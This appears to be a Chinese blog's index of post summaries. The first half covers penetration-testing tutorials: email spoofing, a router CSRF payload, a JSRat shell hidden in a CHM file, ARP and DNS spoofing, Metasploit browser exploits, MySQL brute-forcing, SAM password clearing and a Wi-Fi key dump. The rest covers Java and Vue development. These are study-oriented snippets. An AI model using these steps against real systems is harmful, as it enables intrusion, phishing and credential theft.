摘要：nslookup -qt=txt mail._domainkey.mail.vpgame.net 第一个mail 是上面所说的邮件域的selector，_domainkey 是固定格式(DKIM就是基于domainkeys的技术发展而来)， mail.vpgame.net 是邮件域 Linux: d
阅读全文
摘要：–from <要显示的发件人邮箱> –ehlo <伪造的邮件ehlo头> –body <邮件正文> –header <邮件头信息，subject为邮件标题>
阅读全文
摘要：写了一个style标签import一个css调用：document.writeln('<style type="text/css">@import url(http://admin:[email protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1
阅读全文
摘要：安装 apt-get install steghide steghide --help vim test.txt 输入 journeyIT 1. steghide embed -cf [图片文件载体] -ef [待隐藏文件] 2. [回车] 3. 输入密码，提取文件时用到，如果不想设密码，直接按回车
阅读全文
摘要：使用交互模式的JSRat server： 访问 http://192.168.1.101:8080/wtf 获取攻击代码如下： 经过多次测试，成功将以上命令写入chm，其Html代码为： 编译以后运行，可以成功获取JS交互shell: 直接执行cmd /c command 是会有黑框的，可以使用ru
阅读全文
摘要：Haka是一种开源的以网络安全为导向的语言，可以用于编写安全规则和协议剥离器。在这一部分中，我们的重点是编写安全规则。 官网：http://www.haka-security.org/ github：https://github.com/haka-security/haka
阅读全文
摘要：1. 查看并启动启动apache服务 service apache2 status service apache2 start 2. 修改 /var/www/index.html 页面 vi /var/www/index.html 3. 修改 etter.dns 文件 格式为：劫持的域名 A 指向指
阅读全文
摘要：Arpspoof -i 网卡 -t 目标IP 网关 Kali : 网卡eth0 目标ip ：192.168.1.100 网关：192.168.1.1 替换掉： arpspoof -i eth0 -t 192.168.100 192.168.1.1 怎么看局域网当中的ip呢 Fping -asg 19
阅读全文
摘要：1. use exploit/windows/browser/ms12_004_midi 2. show targets 3. info 4. set SRVHOST 【mine IP】 5. set SRVPORT 【80】 6. set URIPATH / 7. exploit -j 8. et
阅读全文
摘要：1. 打开 The Social-Engineer Toolkit 也就是所谓set 2. 依次选择 Social-Engineering Attacks Website Attacks Vectors Java Applet Attack Method Site Cloner 翻一下：社会工程学攻
阅读全文
摘要：search autopwn use server/browser_autopwn show options set LHOST set SRVPORT set URIPATH / show options 修改 etter.conf 文件 if you use ipchains if you us
阅读全文
摘要：search mysql use scanner/mysql/mysql_login show options set RHOSTS set USER_FILE /root/username.lst set PASS_FILE /root/passwords.lst exploit mysql -h
阅读全文
摘要：cd /mnt/windows/Windows/System32/config/ cd /mnt/windows/Windows/System32/config/ ls SAM chntpw -l SAM chntpw -u "username" SAM 1 - clear
阅读全文
摘要：一、注释掉系统不需要的用户和用户组 注意：不建议直接删除，当你需要某个用户时，自己重新添加会很麻烦。cp /etc/passwd /etc/passwdbak #修改之前先备份vi /etc/passwd #编辑用户，在前面加上#注释掉此行#adm:x:3:4:adm:/var/adm:/sbin/
阅读全文
摘要：mkdir -p /var/lib/pgsql/data //创建pgsql的数据库目录cd /var/lib/pgsql chown postgres.postgres data //改变目录的所属用户用组su postgres //切换到postgres，不然初始化不initdb /var/li
阅读全文
摘要：一、安装 首先，安装PostgreSQL客户端。 sudo apt-get install postgresql-client 然后，安装PostgreSQL服务器。 sudo apt-get install postgresql 正常情况下，安装完成后，PostgreSQL服务器会自动在本机的54
阅读全文
摘要：1、把U盘插入电脑；2、fdisk -l /dev/sda* (查询U盘设备如：sda1)3、mkdir /mnt/usb4、mount /dev/sda1 /mnt/usb5、ls /mnt/usb退出U盘：umount /mnt/usb
阅读全文
摘要：在grub.conf中的kernel那行的后面，要在同一行，加上vga=ask，保存退出，启动时系统会问你需要什么分辨率的，有一大串选择。不同色彩和分辨率所对应的值depth 640x480 800x600 1024x768 1280x10248bit 769 771 773 77515bit 78
阅读全文
摘要：系统是什么版本?cat /etc/issuecat /etc/*-releasecat /etc/lsb-releasecat /etc/redhat-release它的内核版本是什么？cat /proc/version uname -auname -mrsrpm -q kerneldmesg |
阅读全文
摘要：for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
阅读全文
摘要：一、新建一个maven项目，勾上mysql与mybatis 2、把pom.xml的自动生成的原插件替换以下 <!--原插件--> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boo
阅读全文
摘要：最进在做网站的后台管理功能，需要能够对数据库的文章进行“增，删，改，查”，但是遇到了图片保存的问题，如果采用前端上传图片至后端，然后后端保存，数据库存储图片的相对路径，这种方式感觉有点麻烦，于是就在寻求更简单的解决方案，那么有没有一种前端上传图片存储，直接返回图片外链的解决方案呢？ 最终，我选择
阅读全文
摘要：Vue2.0+ElementUI+PageHelper实现的表格分页 前言 最近做了一些前端的项目，要对表格进行一些分页显示。表格分页的方法有很多，从宏观上来说分为物理分页和逻辑分页，由于逻辑分页（即前端分页）的做法是将数据全部缓存，然后分页显示，这样在数据量较大的时候会对浏览器的速度产生影响，所以
阅读全文
摘要：前后端分离 Spring Booot + Vue 开发单页面应用 前言 需求： 最近本人在学习SpringBoot，希望自己能搭一个简单的Demo应用出来，但是搭到前端的时候遇到了困惑，因为网络上大部分教程前端都是应用模板引擎thymeleaf生成的，它给我的感觉就是一个进化版的JSP，但是很明显这
阅读全文
摘要：这篇文章主要讲解使用eclipse对Spirng+SpringMVC+Maven+Mybatis+MySQL项目搭建过程，包括里面步骤和里面的配置文件如何配置等等都会详细说明。 1、创建表，并插入数据： CREATE TABLE `t_user` ( `USER_ID` int(11) NOT NU
阅读全文
摘要：配置文件 pom包就不贴了比较简单该依赖的就依赖，主要是数据库这边的配置： mybatis.config-locations=classpath:mybatis/mybatis-config.xml spring.datasource.test1.driverClassName = com.mysq
阅读全文
摘要：学习任务目标 用户必须要登陆之后才能访问定义链接，否则跳转到登录页面。 对链接进行权限控制，只有当当前登录用户有这个链接访问权限才可以访问，否则跳转到指定页面。 输入错误密码用户名或则用户被设置为静止登录，返回相应json串信息。 我是用的是之前搭建的一个springboot+mybatisplus
阅读全文
摘要：背景 spring+spirngmvc+shiro的整合已经有很多了，之前的项目中也用过，但是最近想在springboot中使用shiro这样，其他项目需要的时候只需要把它依赖进来就可以直接使用，至于shiro的原理其他的blog都有很多介绍。这里只讲几个重点在项目中注意的地方。 shiro官网 h
阅读全文
摘要：Apache Shiro What is Apache Shiro? Apache Shiro是一个功能强大、灵活的，开源的安全框架。它可以干净利落地处理身份验证、授权、企业会话管理和加密。 Apache Shiro的首要目标是易于使用和理解。安全通常很复杂，甚至让人感到很痛苦，但是Shiro却不是
阅读全文
摘要：在前台请求数据的时候，sql语句一直都是打印到控制台的，有一个想法就是想让它打印到日志里，该如何做呢？ 见下面的mybatis配置文件： <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE configuration PUBLIC "-//mybati
阅读全文
摘要：springboot对logback的支持是非常好的，不需要任何配置，只需要在resource下加logback.xml就可以实现功能直接贴代码： <?xml version="1.0" encoding="UTF-8"?> <configuration scan="true" scanPeriod
阅读全文
摘要：1.前言 最近项目开发使用到了spring+springmvc+maven+mongodb，项目中的框架是用springboot进项开发的，对于我们中级开发人员来说，有利有弊，好处呢是springboot开发减少了很多配置文件，同时也使开发更加规范快捷，但是，不好的地方就是长此以往，我们就在码农的道
阅读全文
摘要：使用背景：当网站流量很小时，只需一个应用，所有功能都部署在一起，以减少部署节点和成本。当访问量逐渐加大，单一应用靠加机器带来的加速越来越小，将应用拆成互不相干的几个应用，以提升效率。当垂直应用越来越多，应用之间交互不可避免，将业务抽取成独立服务，提高业务复用和整合当服务越来越多，容量的评估，小服务资
阅读全文
摘要：1、Dubbo简介 Dubbo （http://dubbo.io/）是阿里巴巴公司开源的一个高性能优秀的分布式服务框架，高性能和透明化的RPC远程服务调用方案 、 SOA服务治理方案、并且和 Spring框架无缝集成。 主要核心部件： Remoting:网络通信框架，实现了 sync-over-as
阅读全文
摘要：Apache ZooKeeper是Apache软件基金会的一个软件项目，它为大型分布式计算提供开源的分布式配置服务、同步服务和命名注册。ZooKeeper曾经是Hadoop的一个子项目，但现在是一个独立的顶级项目。ZK没有直接采用Paxos算法的实现，而是使用了一种称为Zab（Zookeeper A
阅读全文
摘要：Dubbo整合Zookeeper和Spring示例程序 1.Dubbo架构 本篇文章基于dubbox，使用dubbo应该也可以正常运行。 我认为想讲清楚一个任何一个技术框架，首先熟悉架构是非常有必要的。这将对对整个架构的理解有非常大的帮助。 我们首先看看Dubbo的架构,这段摘抄自Dubbo官方文档
阅读全文
摘要：业务逻辑 绘制两张图表，分别显示城市空间库和其他数据仓库的信息（城市空间库单独绘制）。要求：城市空间库显示数据库的实际使用量和剩余用量，其他库显示百分比。 效果展示 默认显示状态 鼠标指向状态 实现过程 1.后台数据处理 表结构设计 数据库数据 注：此处数据为显示数据，并非项目使用数据，仅作测试使用
阅读全文
摘要：关键字功能介绍案例 th:id 替换id <input th:id="'xxx' + {collect.description}">description</p> th:utext 支持html的文本替换 <p t
阅读全文
